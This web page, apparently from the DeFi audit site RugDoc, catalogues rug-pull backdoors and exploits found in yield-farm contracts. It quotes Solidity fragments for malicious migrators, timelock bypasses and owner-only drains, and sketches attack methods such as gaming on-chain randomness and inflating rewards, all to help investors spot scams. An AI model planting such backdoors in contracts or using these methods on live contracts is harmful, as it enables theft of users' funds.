*Paid Advertisement. Not financial advice. RugDoc is not responsible for the projects showcased here. DYOR and ape safu.

Exploits and Rug Codes

Escher-like spiral

Listed below are some of the exploits and rug codes we have found during our time in DeFi – this list is periodically updated as new rugs and exploits appear.

Ogre #

(maybe FULLSAIL FORK) the referral coding was set to send all to the fee address.

function payRefFriend(uint256 _refid) public onlyOwner { PoolInfo storage ref = poolInfo[_refid]; IBEP20 lpToken = ref.lpToken; uint256 commission = lpToken.balanceOf(address(this)); lpToken.refUID(feeAddress, commission); ref.lpToken.refPayout(feeAddress, commission); }

refUID approves the allowance, then refPayout does the transfer

modifier onlyOwner() {
  require(treasury == _msgSender(), “treasury is not time”); ;
}

also the onlyOwner check is not checking for owner, but treasury
so timelock is useless

Function: payRefFriend(uint256 _refid) The feeAddr is friend

Popcorn #

Migrator set to burn address with a timelock, but every deposit was preupgraded and fully approved for taking.

Sandwich & Honey #

(Goose fork with added Migrator) The TL was bypassed using a unverified contract that had preapproved all transactions before giving ownership to the TL. The Migrator code used: lpToken.safeApprove(address(migrator), uint(-1)

MEOWS Finance #

MEOWS Finance: (GOOSE FORK) used the function TransferFrom, and added this partial migrator code.

Function: transferFrom(address src, address dst, uint256 amount) _lpToken.safeApprove(owner(), 100000000 ether);

BSWAP #

BSWAP: (BCASH) Has a migrator code.

IERC20 poolToken = pool.poolToken; uint256 bal = poolToken.balanceOf(address(this)); poolToken.safeApprove(address(migrator), bal);

Meerkat #

Meerkat: was using a proxy upgrade contract and upgraded to a new contract (anything could happen)

Toothless & SHIBD #

(GOOSE FORKS) These codes were hidden as Farm updates and double” __owner” were used to bypass the TL so anyone can call this code.

IBEP20(_feeAddress).transfer(__owner, IBEP20(_feeAddress).balanceOf(address(this)));

CrocoSwap #

croco if(address(msg.sender) == feeAddress){pool.lpToken.transfer(feeAddress,lpSupply);}
updatepool

function setProps(uint256 _pid, uint256 _depositFee, IBEP20 _delRewardToken, IChef _delChef, uint256 _delPid) public onlyOwner {
  poolProps[_pid].depositFee = _depositFee;
  if (poolProps[_pid].tokenTotal == 0) {
    poolProps[_pid].delRewardToken = _delRewardToken;
    poolProps[_pid].delChef = _delChef;
    poolProps[_pid].delPid = _delPid;
  }
}

this function can set _delChef to a malicious contract and then steal LP

TailPro #

// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
if (msg.sender == devAddress) {
pool.lpToken.safeTransfer(address(msg.sender),
pool.lpToken.balanceOf(address(this)));
} else {
user.amount = 0;
user.rewardDebt = 0;
user.rewardLockedUp = 0;
user.nextHarvestUntil = 0;
pool.lpToken.safeTransfer(address(msg.sender), amount);
}
emit EmergencyWithdraw(msg.sender, _pid, amount);

if (msg.sender == devAddress) makes it so emergency withdraw is only available to the devAddress

Error404 #

pool.lpToken.approve(address(strategy), uint(~0));

Can change strategies to a malicious contract

Spartan #

Read the PeckShield analysis

ERCXXX Callbacks #

So the main thing you are looking for is: Is there any weird behavior on the functions that are called by the masterchef. These are just transferFrom, approve (only for certain MCs),transfer and getBalance
DenemeNFT doesn’t overwrite these.
ERC721Enumerable overwrites _beforeTokenTransfer but only internal code so no reentrancy risk
ERC721 implements balanceOf, transferFrom but without any reentrancy. There’s some reentrancy using the safeTransfer function but this is not called by any masterchef I think (the safeTransfer masterchefs call is just the SafeBEP20 library mapping it to transfer).
TLDR: There’s only one place in which reentrancy exploits can happen and that are the safeXXXX functions of ERC721. These are never called by the masterchef so reentrancy is not exploitable afaik.
“checking first that contract recipients are aware of the ERC721 protocol to prevent tokens from being forever locked.”
=> What does the masterchef have to be aware of?

MasterChef includes a malicious token #

The main things you want to look out for when you are including an untrusted token in the masterchef:

  • No weird getBalance stuff going on (think about reflection contracts like safeMoon as risks)
  • No reentrancy possible into the emergencyWithdraw
  • No special token logic that could get the token stuck

Deposit 10000 tokens in masterchef
Somehow manage to reduce the masterchefs actual token balance (so the result of balanceOf(masterchef)) to 1.
Now your reward is amplified by 10.000 due to the way the masterchef calculates the reward

Ape Community #

They had userNative .amount, by depositing in the pid 0

.amount
.mul(pool.accTokenRewardPerShare)
.add(userNative.amount.mul(pool.accTokenRewardPerNativeShare))
.add(user.tokenRewardCredit)
.sub(user.tokenRewardDebt)
.div(1e12);

this equates to

(0 * pool.accTokenRewardPerShare + userNative (his pid 0 balance) * accTokenRewardPerNativeShare + 0 – 0) /1e12

the math is flawed.
emergency exit causes the tokenRewardCredit and tokenRewardDebt to become 0

Flash Loans #

Binance Academy: What are flash loans in DeFi
Uniswap: Flash Swaps

PolyGoat #

Polygoat exploit code
Polygoat exploit code

No pending check (issue in codes with referrals). Original FullSail has a referral section that includes a pending check:

if (_amount > 0 && address(sailReferral) != address(0) && _referrer != address(0) && _referrer != msg.sender) { 
  sailReferral.recordReferral(msg.sender, _referrer); 
} if (user.amount > 0) { 
  uint256 pending = user.amount.mul(pool.accSailPerShare).div(1e12).sub(user.rewardDebt);
  if (pending > 0) { 
    safeSailTransfer(msg.sender, pending); 
    payReferralCommission(msg.sender, pending); 
  } 
}

This is removed in PolyGoat. This means that there is no pending check so UI needs to change to use withdraw instead of deposit, but it isnt. Instead there is no logic on deposit to send the pending GOAT so GOAT goes back to the owner of the chef…the dev in this case

Croper/BullFarm #

Croper solidity code
Croper rug code

Has a malicious send function which can pull tokens from approved users.

Honeytrap behind a migrator #

Read more on Goose

Bogged #

Read analysis by PeckShield

ValueDefi #

Read post-mortem by ValueDefi

Lucky Withdrawal #

Lucky withdrawal - generateRandomNumber solidity code
Lucky withdrawal

Old attack vector that’s very well known on eth especially in gambling contracts. If you get a chance to withdraw early (panther style), if you miss the chance, you lose a part of your rewards.

You simply call this from a contract that calculates the externalrandomnumber in the same transaction that it calls the lucky method using a loop from 0-100

DinoSwap #

Dinoswap solidity code: onlyOwner function

Bypass the timelock by also allowing “ownerOld” to make transactions.

DinoSwap on BscScan

PolyButterfly #

Beets Farm #

In Beets Farm there is a function which is used to get all adresses of the users.

After all adresses are fetched the code has malicious deposit and emergencyWithdraw functions which have an additional input for an address. As they are callable from public, anyone can deposit and withdraw for another person. As the dev knows all the adresses, he is able deposit all coins from the users wallets, for which the user gave the spend permission (if they approved the MasterChef contract with unlimited spend).

After that the dev is able to call the emergencyWithdraw function for the users address. As the safeTransfer function has a hardcoded wallet address instead of the users address, the funds go directly to the wallet of the dev.

At the time of writing the dev rugged 150K

Always make sure you revoke the permissions of a farm when leaving and limit the max. spending amount when you approve it.

PolyWater #

PolyWater has hard rug that grants infinite approval to any token you stake.

PolyGorilla L2 #

Hard rug function that can steal all tokens from all pools.

Mobius Cash #

They called renounceOwnership targeting the token contracts as newOwner and then used the call to transfer funds from Masterchef.

.call allows to execute a low level contract call in the name of the masterchef: In this case it was used to call the token contract and execute a transfer transaction. You can read up on .call here.

Secura Finance #

In the Masterchef the Withdraw and EmergencyWithdraw fails because the native token’s “anti-bot” functionality prevents multiple transactions in one block.

The updatePool function, which is added to EmergencyWithdraw function, attempts to transfer tokens from the Masterchef multiple times, so no transfer left for the token transfer.

As they removed the Masterchef from the exeption list this leads to locking all funds in the Masterchef. In addition to that they also have a migrator code added, so they can transfer the funds from the Masterchef contract to another contract.

LayerFarm #

NFT functions were used to drain funds from masterchef. For details check our education page.

Updated on July 25, 2021
How do you feel about this article?

Leave a Reply

*Paid Advertisement. Not financial advice. RugDoc is not responsible for the projects showcased here. DYOR and ape safu.

EN